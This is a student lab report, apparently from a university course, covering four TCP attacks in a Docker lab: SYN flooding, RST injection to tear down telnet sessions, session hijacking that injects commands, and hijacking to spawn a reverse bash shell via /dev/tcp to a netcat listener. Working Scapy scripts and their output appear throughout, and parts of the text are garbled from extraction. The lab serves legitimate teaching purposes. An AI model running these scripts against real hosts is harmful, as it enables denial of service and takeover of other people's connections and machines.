The report of lab 2

57118117 谌雨阳

Task 1: SYN Flooding Attack

Code:

Synflood 攻击的 python 脚本代码:

```
1 from scapy.all import IP, TCP, send
2 from ipaddress import IPv4Address
3 from random import getrandbits
4 a = IP(dst="10.9.0.5")
5 b = TCP(sport=1551, dport=23, seq=1551, flags='S')
6 pkt = a/b
7 while True:
8     pkt['IP'].src = str(IPv4Address(getrandbits(32)))
9     send(pkt, verbose = 0)
```

Result:

进入 victim 机后首先检查 syncookie 功能是否关闭,发现功能位置为 0,说明防御功能已关闭。

```
root@39a596d9fd28:/# sysctl -a | grep syncookies
net.ipv4.tcp_syncookies = 0
```

使用 netstat -nat 命令检查攻击前的 tcp 连接,只有两个 LISTEN 状态的连接:

```
root@39a596d9fd28:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0127.0.0.11:35941 0.0.0.0:* LISTEN
```

在攻击机上运行编译好的 synflood 攻击程序:

```
root@VM:/volumes# synflood 10.9.0.5 23
```

检查 tcp 连接,发现很多 SYN_RECV 状态的连接:

```
root@39a596d9fd28:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
                                              Foreign Address
                                                                       State
           0
                  0 0.0.0.0:23
                                              0.0.0.0:*
tcp
                                                                       LISTEN
tcp
           0
                  0 127.0.0.11:35941
                                              0.0.0.0:*
                                                                       LISTEN

tcp
tcp
           0
                  0 10.9.0.5:23
                                              206.237.133.63:15744
                                                                       SYN RECV
```

对 victim 机进行 telnet 尝试,发现失败。

```
[07/10/21]seed@VM:~/Desktop$ telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
关闭攻击程序后再次尝试,发现可以成功。
```

```
[07/10/21]seed@VM:~/Desktop$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
39a596d9fd28 login:
```

而此时重新运行 synflood 程序:

```
root@VM:/volumes# synflood 10.9.0.5 23
```

再次进行 telnet 尝试,发现即使在攻击程序运行过程中也能够成功。

```
[07/10/21]seed@VM:~/Desktop$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
39a596d9fd28 login:
```

根据 Note A 中的描述,该现象的原因是 victim 机器在 ip tcp_metrics 中保存了之前连接成功的 IP 地址。通过使用 ip tcp_metrics flush 命令清楚保存内容后,攻击程序又能够成功。

根据实验手册尝试使用 python 编写攻击脚本并执行。

```
root@VM:/volumes# python3 synflood.py
```

发现效果不佳,并不能阻止 telnet,这是因为我们编写的 python 脚本速度不够快,在与 telnet 请求包竞争空出的缓冲区时不一定能够取胜。

```
[07/10/21]seed@VM:~/Desktop$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
bddc03645329 login:
```

根据手册要求多开 python 脚本,当开到 3 个同时运行的攻击程序时,成功阻塞了 telnet 功能。

```
[07/10/21]seed@VM:~/.../volumes$ telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
```

在 yml 文件中有一个 synack_retries 的设置,代表 SYN_ACK 报文重发的次数,默认为5。为了测验它对 python 攻击程序成功率的影响,在此更改它为 40。

sysctls:

- net.ipv4.tcp syncookies=0
- net.ipv4.tcp synack retries=40

在更改为 40 之后,开启一个 python 攻击程序就能够攻击成功。

```
[07/10/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
[07/10/21]seed@VM:~/.../Labsetup$
```

测试另一个配置参数 syn_backlog 参数对攻击效果的影响如下,该值代表缓冲区内存放的最大的连接请求数,默认值为 128,在此将其改小为 80。

sysctls:

- net.ipv4.tcp_syncookies=0net.ipv4.tcp_synack_retries=5
- net.ipv4.tcp_max_syn_backlog=80

在更改为80后,开启单个攻击程序即可攻击成功,结果如下:

```
[07/10/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
```

最后尝试开启 syncookies 防御功能,进行测试:

sysctls:

```
- net.ipv4.tcp syncookies=1
```

此时即使开启 c 或 python 攻击程序,也不能阻止 telnet,说明防御程序是有效的。

```
[07/10/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
f036aab7a73f login:
```

Answer to the questions:

在本实验中可以发现,成功的 tcp 连接会被连接的机器保存在本地缓存中,使得下一次连接更容易成功。另外,实验中所给的 python 攻击程序的攻击能力不如 c 程序,在与正常请求的竞争中容易失败。受害者机器的两个参数:重发请求次数和缓存区最大容量都能够影响攻击成功几率。其中重发请求次数越多,阻塞时间越长,成功率越高;缓存区最大容量越小、阻塞效果越好,成功率也越高。

Task 2: TCP RST Attacks on telnet Connections

Code:

手动攻击的 python 脚本如下:

```
1#!/usr/bin/env python3
2 from scapy.all import *
3
4 ip = IP(src='10.9.0.5', dst='10.9.0.6')
5 tcp = TCP(sport=35470, dport=23, flags="R", seq=1722965258, ack=2356553206)
6 p = ip/tcp
7 ls(p)
8 | send(p,verbose=0)
```

自动攻击的 python 脚本如下:

```
1#!/usr/bin/env python3
2 from scapy.all import *
4 def rst(pkt):
          ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
          tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="R",
6
  seq=pkt[TCP].seq, ack=pkt[TCP].ack)
7
          p = ip/tcp
8
          ls(p)
9
          send(p,verbose=0)
10
11 pkt=sniff(iface='br-5b0930bc06e9',filter='tcp and src host 10.9.0.6 and dst host
10.9.0.5 and dst port 23',prn=rst)
```

Result:

在两个 docker 之间建立 telnet 连接如下:

```
[07/10/21]seed@VM:~/.../Labsetup$ docksh 92
root@924463d30892:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
8aae1477e0ff login:
```

利用 wireshark 可以得到我们想要的通信双方 IP 地址和端口:

在手动攻击中,使用如上 Code 中展示的 python 脚本进行攻击:

```
1#!/usr/bin/env python3
2 from scapy.all import *
3
4 ip = IP(src='10.9.0.5', dst='10.9.0.6')
5 tcp = TCP(sport=35470, dport=23, flags="R", seq=1722965258, ack=2356553206)
6 p = ip/tcp
7 ls(p)
8 | send(p,verbose=0)
```

此时 10.9.0.6 机中的 telnet 连接显示被外部主机中断,攻击成功:

```
root@924463d30892:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
8aae1477e0ff login: Connection closed by foreign host.
```

攻击机上包显示内容如下:

```
seed@VM: ~/.../volumes
                                                                          Q = - -
[07/10/21]seed@VM:~/.../volumes$ sudo python3 rst.py
          : BitField (4 bits)
: BitField (4 bits)
                                                      = 4
                                                                           (4)

Task 3: TCP Session Hijacking

Code:

手动攻击 python 脚本如下:

```
1#!/usr/bin/env python3
2 from scapy.all import *
3
4 ip = IP(src='10.9.0.6', dst='10.9.0.5')
5 tcp = TCP sport=46718, dport=23, flags="A", seq=655328076, ack=4167489317)
6 data = '\r touch /home/malware \r'
7 p = ip/tcp/data
8 ls(p)
9 send(p,verbose=0)
```

自动攻击 python 脚本如下:

```
1#!/usr/bin/env python3
 2 from scapy.all import *
 3
4 def hjk(pkt):
           ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
  seq=pkt[TCP].seq, ack=pkt[TCP].ack+21)
           data = '\r touch /home/malware \r
8
           p = ip/tcp/data
9
           ls(p)
10
           send(p,verbose=0)
11
12 pkt = sniff(iface='br-0ea5f3313c7b',filter='tcp and src host 10.9.0.6 and dst host
 10.9.0.5 and dst port 23',prn=hjk)
```

Result:

首先使用 docker 对 victim 进行 telnet 连接, 使用 wireshark 抓包获取原宿地址端口及 seq、ack 等数据:

```

window
```

在进行攻击前 telnet 功能能够正常使用,而在攻击之后无法正常键入命令:

```
seed@faffbb7dc242:~$ ls
seed@faffbb7dc242:~$
```

尝试使用自动攻击,构造包如下:

```
: BitField (4 bits)
: BitField (4 bits)
                                                                          (None)
ihl
                                                     = None
            : XByteField
                                                      = 0
tos
                                                                          (0)
            : ShortField
                                                                          (None)
len
                                                        None
            : ShortField

reserved
                                                     = 0
                                                                          (0)
                                                                          (<Flag 2 (S)>
flags
            : FlagsField (9 bits)
                                                     = <Flag 16 (A)>
window
           : ShortField
                                                     = 8192
                                                                          (8192)
chksum
            : XShortField
                                                     = None
                                                                          (None)
```

结果是 telnet 命令输入一个字符后就无法键入, 连接已被劫持:

```
seed@951b99f9631d:~$ ls
seed@951b99f9631d:~$ l
```

Task 4: Creating Reverse Shell using TCP Session Hijacking

Code:

获取反向 shell 的 python 脚本如下(采用了自动攻击方式,也可以手动):

```
1#!/usr/bin/env python3
 2 from scapy.all import *
 4 def rvs shell(pkt):
          ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
          tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
 seq=pkt[TCP].seq, ack=pkt[TCP].ack+21
          data = '\r / bin/bash - i > / dev/tcp/10.9.0.1/9090 0 < \&1 2 > \&1 \r'
 8
          p = ip/tcp/data
 9
          ls(p)
10
          send(p,verbose=0)
11
12 pkt = sniff(iface='br-5b97aed3cfa3',filter='tcp and src host 10.9.0.6 and dst host
10.9.0.5 and dst port 23',prn=rvs_shell)
```

Result:

首先让 10.9.0.6 与 10.9.0.5 建立 telnet 连接:

```
root@367f3121415e:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)
 * Documentation: https://help.ubuntu.com
 * Management:
                  https://landscape.canonical.com
* Support:
                   https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
seed@12ad6f0e65b8:~$
```

在攻击机 10.9.0.1 上监听 9090 端口:

```
[07/11/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
```

此时运行 Code 中所展示的攻击脚本,并在 10.9.0.6 通过 telnet 获取的 shell 中输入命令,由此攻击机成功获取反向 shell,截图如下:

```
[07/11/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 59260
seed@12ad6f0e65b8:~$
```
